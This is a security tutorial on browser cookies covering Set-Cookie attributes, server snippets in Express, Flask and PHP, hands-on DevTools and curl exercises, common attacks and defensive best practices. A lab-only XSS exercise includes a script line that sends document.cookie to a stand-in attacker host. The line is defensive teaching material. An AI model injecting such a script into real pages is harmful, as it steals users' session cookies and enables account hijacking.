CybersLion

Cookies & Web Browsers — Complete Practical Guide (2025)

 

Cookies & Web Browsers: Detailed Usage with Practical Guide (2025)


Meta Description: Learn how browser cookies work, how sites set/read them, secure cookie flags (HttpOnly, Secure, SameSite), cookie-based attacks, and hands-on exercises (DevTools, curl, JavaScript, server examples). Best practices & compliance tips.
Primary Keywords: browser cookies, HttpOnly, SameSite, Secure cookie, Set-Cookie, cookie security, cookie best practices, view cookies DevTools, cookie tutorial


Introduction — why cookies still matter

Cookies are small pieces of data websites store in a user’s browser. They are fundamental to the modern web: sessions, authentication, personalization, tracking, A/B testing — many features rely on cookies.

This guide explains how cookies work, how browsers store and send them, security properties (HttpOnly, Secure, SameSite), common attacks, and practical exercises you can run now (local lab). Everything here is actionable and SEO-friendly so you can copy it to your blog or tutorial.


What is a cookie? (simple definition)

A cookie is a name=value pair that a server asks the browser to store. The browser includes cookies in subsequent requests to the same origin (domain + port + scheme) according to cookie rules.

Typical cookie lifecycle:

  1. Server sends Set-Cookie header with attributes.

  2. Browser stores cookie (in memory or persistent store).

  3. Browser sends cookie in Cookie header on matching requests.

  4. Server reads cookie and uses it (session lookup, preferences, etc.).


Anatomy of a cookie — Set-Cookie header

A cookie sent from server to browser looks like:

Set-Cookie: sessionId=abc123; Path=/; Domain=example.com; Expires=Wed, 27 Nov 2025 12:00:00 GMT; Secure; HttpOnly; SameSite=Strict

Key parts:

  • name=value — the data.

  • Expires / Max-Age — lifespan. Without these the cookie is a session cookie (deleted when browser closes).

  • Path — URL path scope.

  • Domain — which host(s) the cookie applies to.

  • Secure — browser only sends cookie over HTTPS.

  • HttpOnly — JavaScript document.cookie cannot read the cookie.

  • SameSite — controls cross-site sending: Strict, Lax, None (with Secure required for None).

  • Priority (some browsers) — influence eviction order.


Types of cookies

  • Session cookies — expire at end of session (no Expires/Max-Age).

  • Persistent cookies — have Expires or Max-Age.

  • Secure cookies — flagged Secure, only sent over HTTPS.

  • HttpOnly cookies — not accessible via JavaScript.

  • SameSite cookies — restrict cross-site requests to mitigate CSRF and tracking.

  • First-party vs Third-party cookies — set by same-site (first-party) or by embedded third-party resources (ads, analytics).


How browsers decide to send cookies

A browser sends cookies when:

  • The request target domain matches the cookie Domain.

  • The request path matches Path.

  • The cookie is not expired.

  • For Secure cookies, the request uses HTTPS.

  • For SameSite rules, the request context (top-level navigation vs cross-site subrequest) meets the policy.

SameSite behavior (summary):

  • Strict: cookie not sent on cross-site navigations or GETs — safest.

  • Lax: cookie sent on top-level navigations with a safe method (GET), but not on most cross-site subrequests (iframes, XHR from other sites).

  • None: cookie sent in all contexts — requires Secure.


Cookie examples — server code snippets

1) Set cookie with Node/Express

// Express res.cookie('sessionId', 'abc123', { httpOnly: true, secure: true, // send only over HTTPS sameSite: 'lax', maxAge: 24 * 60 * 60 * 1000 // 1 day });

2) Set cookie with Python Flask

from flask import Flask, make_response app = Flask(__name__) @app.route('/login') def login(): resp = make_response('Logged in') resp.set_cookie('sessionId', 'abc123', httponly=True, secure=True, samesite='Lax', max_age=86400) return resp

3) Set cookie with PHP

setcookie('sessionId', 'abc123', [ 'expires' => time() + 86400, 'path' => '/', 'domain' => 'example.com', 'secure' => true, 'httponly' => true, 'samesite' => 'Lax' ]);

Reading & manipulating cookies in JavaScript

Read cookies

console.log(document.cookie); // "sessionId=abc123; theme=dark"

Set cookie (non-HttpOnly)

document.cookie = "theme=dark; Path=/; Max-Age=31536000";

Note: HttpOnly cookies are intentionally not visible to document.cookie and therefore safer against XSS exfiltration.


Practical exercises (hands-on)

All exercises must be executed on your local machine or on sites you own. Don’t test on other people’s systems without permission.

Exercise 1 — View cookies with Chrome DevTools

  1. Open Chrome, go to any site you control (or http://localhost:3000).

  2. Press F12 → Application tab → Storage → Cookies. You’ll see cookie name, value, domain, path, expiry, and flags.

  3. Inspect HttpOnly, Secure, and SameSite values.

Exercise 2 — Send cookies manually with curl

Set cookie in request:

curl -v -b "sessionId=abc123" https://example.com/dashboard

Set cookie with Set-Cookie from a local server:

# Start a local server that responds with Set-Cookie header, then: curl -v http://localhost:8080/

Exercise 3 — Test SameSite behavior

  1. Create two local hosts (or two different ports): site-a.local:3000 and site-b.local:4000.

  2. From site-a add an <img src="http://site-b.local:4000/track"> and check whether site-b receives cookies depending on SameSite settings.

  3. Toggle cookie SameSite to None + Secure and observe differences.

Exercise 4 — Simulate XSS exfil (lab only)

  1. Deploy a vulnerable test page that echoes input unsafely (e.g., /<script>alert()>).

  2. Inject a script that attempts fetch('https://attacker.example/collect?c='+document.cookie).

  3. Observe that if session cookie has HttpOnly, document.cookie won’t reveal it — demonstrating why HttpOnly helps.


Common cookie security issues & attacks

1) Cross-Site Scripting (XSS)

  • If an attacker injects JavaScript, they can read document.cookie and exfiltrate non-HttpOnly cookies.

  • Defense: set HttpOnly for session cookies; sanitize/escape inputs; use CSP.

2) Cross-Site Request Forgery (CSRF)

  • A victim’s browser automatically sends cookies on cross-site requests — an attacker can forge actions.

  • Defense: use SameSite=Lax/Strict on session cookies, implement CSRF tokens, use double-submit cookies, require same-origin requests for sensitive endpoints.

3) Cookie Theft over HTTP

  • Sending cookies over HTTP exposes them to MitM sniffing.

  • Defense: set Secure flag and use HTTPS everywhere (HSTS).

4) Session Fixation

  • If attacker can set victim’s sessionId, they can hijack later.

  • Defense: regenerate session ID on login, restrict cookie Path/Domain, and set short expiry.

5) Third-party tracking

  • Third-party cookies in iframes can track users across sites.

  • Defense: block third-party cookies, use privacy-first strategies, or use SameSite/partitioned storage.


Best practices for cookie security (checklist)

  • Always use HTTPS and set Secure.

  • Mark authentication/session cookies HttpOnly.

  • Use SameSite=Lax or Strict for session cookies (use None; Secure only when cross-site access is required).

  • Use short lifetimes for sensitive cookies and refresh tokens periodically.

  • Regenerate session id after privilege changes (login/logout).

  • Avoid storing sensitive user data (PII, passwords) directly in cookies — store a reference (session id) on server.

  • Implement Content Security Policy (CSP) to reduce XSS risk.

  • Set Path and Domain narrowly — avoid wide scope unless needed.

  • For analytics/tracking, consider server-side storage or user-consented approaches to comply with privacy laws.


Cookie management in modern privacy contexts

  • GDPR / ePrivacy / Cookie Consent: Many jurisdictions require user consent for non-essential cookies (tracking/analytics). Provide a cookie banner and granular controls.

  • Browser privacy changes: Modern browsers (Safari, Firefox, Chrome) are limiting third-party cookies and introducing partitioned storage and enhanced tracking protections. Keep updated with browser behavior and use first-party storage where possible.

  • SameSite default: Browsers default to Lax for cookies without SameSite. Use explicit policies for predictable behavior.


Debugging tips & tools

  • Browser DevTools (Application → Cookies) — inspect cookies, flags, expiry.

  • curl -I / curl -v — view Set-Cookie headers in responses.

  • Burp Suite / OWASP ZAP — intercept and manipulate cookie headers for testing.

  • SecurityHeaders.io / Mozilla Observatory — check site headers and cookie-related best practices.

  • Browser profiles — use separate profiles for testing cookie/extension behavior.


Server-side session vs token approaches

  • Cookie-based sessions: server stores session data, cookie holds session ID — simple, widely used, can leverage secure flags and HttpOnly.

  • Token-based auth (JWT in Authorization header): often stored in localStorage or sessionStorage. Storing JWTs in JavaScript-accessible storage is more vulnerable to XSS. If you use tokens, prefer storing them in HttpOnly, Secure cookies with proper CSRF protection rather than localStorage.


Migration tips: moving from insecure cookies to secure ones

  1. Audit existing cookies (DevTools + server logs).

  2. Add Secure, HttpOnly, and SameSite progressively — test functionality.

  3. Shorten lifetimes and rotate cookies.

  4. Move critical tokens to server-side sessions or encrypted secure cookies.

  5. Communicate changes to users if behavior changes (login flows, SSO).


Example: Implementing secure login cookie flow (high-level)

  1. User posts credentials to /login over HTTPS.

  2. Server validates credentials and creates server-side session (sessionId).

  3. Server sets Set-Cookie: sessionId=abc; Path=/; HttpOnly; Secure; SameSite=Lax; Max-Age=3600.

  4. Browser stores cookie and uses it for subsequent requests.

  5. On logout, server invalidates session and sends Set-Cookie with Max-Age=0.


Compliance & legal considerations

  • Inform users about cookie usage (cookie policy).

  • Use consent mechanisms for non-essential cookies (analytics, advertising) to comply with GDPR/ePrivacy.

  • Keep records of consent where required.

  • For high-risk data, minimize cookie usage and prefer server-side storage or encrypted tokens.


Conclusion — cookies are powerful, use them securely

Cookies remain a backbone of stateful web experiences. Done right — with Secure, HttpOnly, and SameSite plus short lifetimes, HTTPS, and defensive coding — cookies are safe and practical. Done wrong, they open doors to XSS, CSRF, session hijacking, and privacy issues.

Use the practical exercises above to build muscle memory: inspect cookies with DevTools, set and test cookies from your server, try curl requests, and verify that HttpOnly prevents JS reading. Always test in your lab or on systems you own.